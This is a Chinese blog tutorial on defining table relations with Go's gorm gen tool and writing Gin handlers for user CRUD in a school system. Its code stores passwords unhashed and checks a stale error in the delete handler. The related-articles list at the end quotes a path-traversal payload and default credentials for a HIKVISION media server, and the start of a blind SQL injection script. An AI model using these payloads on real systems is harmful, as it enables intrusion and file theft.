gorm之项目实战-使用gen以及定义表间关系

gorm之项目实战

ER图

Image1

关系整理

  1. 一对一关系:

    • User 和 UserLog: 一个用户对应一个用户日志,通过 User 模型的主键与 UserLog 模型的外键建立一对一关系。
  2. 一对多关系:

    • User 和 Teacher: 一个用户可以对应多个老师,通过 Teacher 模型的外键(UserID)与 User 模型的主键建立一对多关系。
    • User 和 Student: 一个用户可以对应多个学生,通过 Student 模型的外键(UserID)与 User 模型的主键建立一对多关系。
    • Teacher 和 Class: 一个老师可以有多个班级,通过 Class 模型的外键(TeacherID)与 Teacher 模型的主键建立一对多关系。
    • Student 和 StudentClass: 一个学生可以有多个班级,通过 StudentClass 模型的外键(StudentID)与 Student 模型的主键建立一对多关系。
    • Student 和 Attendance: 一个学生可以有多条考勤记录,通过 Attendance 模型的外键(StudentID)与 Student 模型的主键建立一对多关系。
  3. 多对多关系:

    • Student 和 Class: 一个学生可以属于多个班级,一个班级可以有多个学生,通过 StudentClass 模型作为中间表,建立多对多关系。
    • Teacher 和 Class: 一个老师可以教授多个班级,一个班级可以有多个老师,通过 Class 模型的外键(TeacherID)与 Teacher 模型的主键,建立多对多关系。
  4. 一对多逆向关系:

    • Parent 和 Student: 一个家长可以有多个子女,通过 Student 模型的外键(StudentID)与 Parent 模型的主键建立一对多逆向关系。

使用gen自动化生成代码

首先使用gen工具生成代码

package main

// gorm gen configure

import (
    "fmt"

    "gorm.io/driver/mysql"
    "gorm.io/gorm"

    "gorm.io/gen"
)

const MySQLDSN = "root:root@tcp(127.0.0.1:3306)/school?charset=utf8mb4&parseTime=True"

func connectDB(dsn string) *gorm.DB {
    db, err := gorm.Open(mysql.Open(dsn))
    if err != nil {
        panic(fmt.Errorf("connect db fail: %w", err))
    }
    return db
}

func main() {
    // 指定生成代码的具体相对目录(相对当前文件),默认为:./query
    // 默认生成需要使用WithContext之后才可以查询的代码,但可以通过设置gen.WithoutContext禁用该模式
    g := gen.NewGenerator(gen.Config{
        // 默认会在 OutPath 目录生成CRUD代码,并且同目录下生成 model 包
        // 所以OutPath最终package不能设置为model,在有数据库表同步的情况下会产生冲突
        // 若一定要使用可以通过ModelPkgPath单独指定model package的名称
        OutPath: "dao/query",
        /* ModelPkgPath: "dal/model"*/

        // gen.WithoutContext:禁用WithContext模式
        // gen.WithDefaultQuery:生成一个全局Query对象Q
        // gen.WithQueryInterface:生成Query接口
        Mode: gen.WithDefaultQuery | gen.WithQueryInterface,
    })

    // 通常复用项目中已有的SQL连接配置db(*gorm.DB)
    // 非必需,但如果需要复用连接时的gorm.Config或需要连接数据库同步表信息则必须设置
    g.UseDB(connectDB(MySQLDSN))

    // 从连接的数据库为所有表生成Model结构体和CRUD代码
    // 也可以手动指定需要生成代码的数据表
    g.ApplyBasic(g.GenerateAllTable()...)

    // 执行并生成代码
    g.Execute()
}

在gen生成的model中定义外键联系

生成的model代码在dao/model

Image2

我们需要在这些Model中定义外键关系,先把User表and Teacher表与Student表关系定义

Image3

一对一关系

首先先确定主表和附表,主表

  • 主表:User,逐渐:UserID

  • 附表:Student,外键:UserID

  • 附表:Teacher,外键:UserID

  • 在model.User中添加两个

Image4

  • 把generate改下,我们要用改过的模型生成query

  •     g.ApplyBasic(
            model.Student{},
            model.Teacher{},
            model.User{},
            model.UserLog{},
            model.Class{},
            model.Course{},
            model.Attendance{},
            model.StudentClass{},
            model.Parent{},
        )
        // 执行并生成代码
        g.Execute()
    

增加用户业务逻辑

这边按UserType新建对应的学生和教师

func CreateUser(c *gin.Context) {
    var req request.CreateUserRequest
    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"code": http.StatusBadRequest, "error": "创建用户请求失败,无效的请求参数"})
        return
    }

    var user model.User

    switch req.UserType {
    case "Student":
        user = model.User{
            Username:  req.Username,
            Password:  req.Password,
            OpenID:    req.OpenID,
            Avatar:    req.Avatar,
            LastLogin: time.Now(),
            UserType:  req.UserType,
            IsValid:   req.IsValid,
            Student: model.Student{
                StudentName: req.Username,
            },
        }
    case "Teacher":
        user = model.User{
            Username:  req.Username,
            Password:  req.Password,
            OpenID:    req.OpenID,
            Avatar:    req.Avatar,
            LastLogin: time.Now(),
            UserType:  req.UserType,
            IsValid:   req.IsValid,
            Teacher: model.Teacher{
                TeacherName: req.Username,
            },
        }
    default:
        c.JSON(http.StatusBadRequest, gin.H{"code": http.StatusBadRequest, "error": "无效的用户类型"})
        return
    }

    err := query.User.WithContext(context.Background()).Create(&user)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"code": http.StatusInternalServerError, "error": fmt.Sprintf("创建用户请求失败,无法创建用户: %v", err)})
        return
    }

    c.JSON(http.StatusOK, gin.H{"code": http.StatusOK, "message": "用户创建成功"})
}

Image5

删除用户业务逻辑

// DeleteUser 处理删除用户请求的函数
func DeleteUser(c *gin.Context) {
	userIDStr := c.Param("id") // Assuming the route has "id" parameter

	var User model.User
	userID, err := strconv.ParseInt(userIDStr, 10, 64)
	if err != nil {
		c.JSON(http.StatusBadRequest, gin.H{"code": http.StatusBadRequest, "error": "Failed to delete user, invalid user ID"})
		return
	}
	//var user model.User
	config.GVA_DB.Take(&User, userID)
	ret := config.GVA_DB.Select("Student").Delete(&User)
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"code": http.StatusInternalServerError, "error": fmt.Sprintf("Failed to delete user, unable to delete user: %v", err)})
		return
	}

	c.JSON(http.StatusOK, gin.H{"code": http.StatusOK, "message": fmt.Sprintf("User deleted successfully, RowsAffected: %v", ret.RowsAffected)})
}

Image6

更新

这里因为是主表,逻辑上之更新注表就好,后面改相应表的在编写逻辑

主要是改改头像什么的


查找

// GetUser 处理获取单个用户请求的函数
func GetUser(c *gin.Context) {
	userIDStr := c.Param("id") // Assuming the route has "id" parameter

	u := query.User
	userID, err := strconv.ParseInt(userIDStr, 10, 64)
	if err != nil {
		c.JSON(http.StatusBadRequest, gin.H{"code": http.StatusBadRequest, "error": "Failed to get user, invalid user ID"})
		return
	}

	user, err := query.User.WithContext(context.Background()).Where(query.User.UserID.Eq(int32(userID))).Preload(u.Student, u.Teacher).First()

	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"code": http.StatusInternalServerError, "error": fmt.Sprintf("Failed to get user, unable to get user: %v", err)})
		return
	}

	c.JSON(http.StatusOK, gin.H{"code": http.StatusOK, "user": user})
}

// GetAllUsers 处理获取所有用户请求的函数
func GetAllUsers(c *gin.Context) {
	u := query.User
	users, err := query.User.WithContext(context.Background()).Preload(u.Student, u.Teacher).Find()
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"code": http.StatusInternalServerError, "error": fmt.Sprintf("Failed to get all users, unable to get user list: %v", err)})
		return
	}

	c.JSON(http.StatusOK, gin.H{"code": http.StatusOK, "users": users})
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/133648.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

win10网络和Internet设置

win10网络设置 win10进入网络设置的常用入口有两个 第一个入口 桌面右下角右键网络图标,然后打开“网络和Internt设置” 第二个入口 桌面的“我的网络”快捷方式,或者我的电脑进去后,左侧栏找到“网络” 右键“属性” 可以看到,…

【论文阅读VLDB13】Online, Asynchronous Schema Change in F1

Online, Asynchronous Schema Change in F1 ABSTRACT 在一个globally 分布式数据库,with shared data, stateless servers, and no global membership.进行一个schema演变。证明许多常见的模式更改可能会导致异常和数据库损坏,通过将破坏引起的模式更改…

Git 命令详解

系列文章目录 C高性能优化编程系列 深入理解软件架构设计系列 高级C并发线程编程 C技能系列 期待你的关注哦!!! 现在的一切都是为将来的梦想编织翅膀,让梦想在现实中展翅高飞。 Now everything is for the future of dream we…

消息队列简介

消息队列 在认识rabbitMQ之前,我们需要先认识下消息队列。 消息队列,一般简称为MQ(Message Queue)。先不管消息(Message)这个词,先看看队列(Queue)。 队列就是一种先进先出的数据结构。 所以消息队列可以简单理解为&a…

rasa train nlu详解:1.2-_train_graph()函数

本文使用《使用ResponseSelector实现校园招聘FAQ机器人》中的例子,主要详解介绍_train_graph()函数中变量的具体值。 一.rasa/model_training.py/_train_graph()函数   _train_graph()函数实现,如下所示: def _train_graph(file_importer…

Kubernetes基础(七)-Pod资源Limits与Requests

在k8s的集群环境中,资源的合理分配和使用非常重要。毕竟容器化要解决的问题之一就是资源的充分利用。在集群中分配资源的时候就不得不提到Limits和Requests。 1 Namespace配额 Kubernetes 是允许管理员在命名空间中指定资源 Requests 和 Limits 的,这一…

Linux输入与输出设备的管理

计算机系统中CPU 并不直接和设备打交道,它们中间有一个叫作设备控制器(Device Control Unit)的组件,例如硬盘有磁盘控制器、USB 有 USB 控制器、显示器有视频控制器等。这些控制器就像代理商一样,它们知道如何应对硬盘…

Python 使用tkinter的Menu菜单command参数与bind方法共用触发事件

用普通函数作为媒介,使用event_generate()方法模拟触发bind()事件来创建一个模拟的event对象,并将其传递给绑定的事件处理函数。 运行结果 示例代码 import tkinter as tk# 菜单事件 def menuEvent(event):print(event.x, event.y)label.config(textf鼠…

HIKVISION流媒体管理服务器后台任意文件读取漏洞

默认账号密码为 admin/12345 构造payload /systemLog/downFile.php?fileName../../../../../../../../../../../../../../../windows/system.ini漏洞证明 文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。 免责声明:由于传播…

Yum配置、相关命令和常见问题

搭建光盘源 将系统盘读取出来,找到系统盘下存放软件包的目录 2.配置yun仓库 输入命令进入仓库编辑 #必须以.repo结尾 :wq 回车保存退出 3.命令行输入yum repolist 查看yum仓库 配置硬盘源 1.将硬盘源拷贝到目录,或者挂载到目录 2.指定repo文件baseu…

php性能追踪与分析

PHP扩展下载:https://pecl.php.net/package/xhprof php.ini配置 [xhprof] extensionxhprof xhprof.output_dir/temp/xhprof auto_prepend_file /temp/inject_xhprof.php if(php_sapi_name() cli) {return; }$xhprof_config[enabled]1;if(!empty($xhprof_config…

自动化测试测试框架封装改造

PO模式自动化测试用例 PO设计模式是自动化测试中最佳的设计模式,主要体现在对界面交互细节的封装,在实际测试中只关注业务流程就可以了。 相较于传统的设计,在新增测试用例后PO模式有如下优点: 1、易读性强 2、可扩展性好 3、…

C++ 开发【深入浅出】笔记02

多态 同一种类型的不同表现形式基类指针指向基类对象基类对象调用的成员函数,基类指针指向派生类对象则调用派生类得成员函数,这种现象就称为多态构成多态的条件 继承关系基类多态函数必须声明为虚函数(virtual)派生类必须覆盖&am…

自动驾驶学习笔记(八)——路线规划

#Apollo开发者# 学习课程的传送门如下,当您也准备学习自动驾驶时,可以和我一同前往: 《自动驾驶新人之旅》免费课程—> 传送门 《Apollo Beta宣讲和线下沙龙》免费报名—>传送门 文章目录 前言 路线规划 路由元素 路径搜索 最优…

选择排序与堆排序

🎉个人名片: 🐼作者简介:一名乐于分享在学习道路上收获的大二在校生 🐻‍❄个人主页🎉:GOTXX🐼个人WeChat:ILXOXVJE 🐼本文由GOTXX原创,首发CSDN&…

物联网AI MicroPython学习之语法uzlib解压缩

学物联网,来万物简单IoT物联网!! uzlib 介绍 uzlib 模块解压缩用DEFLATE算法压缩的二进制数据 (通常在zlib库和gzip存档器中使用),压缩功能尚未实现。 注意:解压缩前,应检查模块内可…

Django框架FAQ

文章目录 问题1:Django数据库恢复问题2:null和blank的区别问题3:Django创建超级用户报错问题4:Django同源策略 问题1:Django数据库恢复 问题: 从仓库拉下来的Django项目,没有sqlite数据库和migrations记录,如何通过model恢复数据库 解决方法: # 步骤1:导出数据 # 不指定 ap…

SQL注入漏洞:CMS布尔盲注python脚本编写

SQL注入漏洞:CMS布尔盲注python脚本编写 文章目录 SQL注入漏洞:CMS布尔盲注python脚本编写库名爆破爆破表名用户名密码爆破 库名爆破 import requests #库名 database"" x0 while requests.get(urlf"http://10.9.47.77/cms/show.php?id33%20and%20length(data…

【C++】函数指针 ① ( 函数三要素 | 函数类型 | 函数指针类型 | 函数类型重命名 )

文章目录 一、函数类型 和 函数指针类型1、函数三要素2、函数类型3、函数指针类型4、函数类型重命名 二、代码示例 - 函数类型重命名1、代码分析2、完整代码示例 一、函数类型 和 函数指针类型 1、函数三要素 函数原型有三个重要要素 : 函数名称 : 使用 标识符 为函数命名 ; 用…

rasa train nlu详解:1.1-train_nlu()函数

本文使用《使用ResponseSelector实现校园招聘FAQ机器人》中的例子,主要详解介绍train_nlu()函数中变量的具体值。 一.rasa/model_training.py/train_nlu()函数   train_nlu()函数实现,如下所示: def train_nlu(config: Text,nlu_data: Op…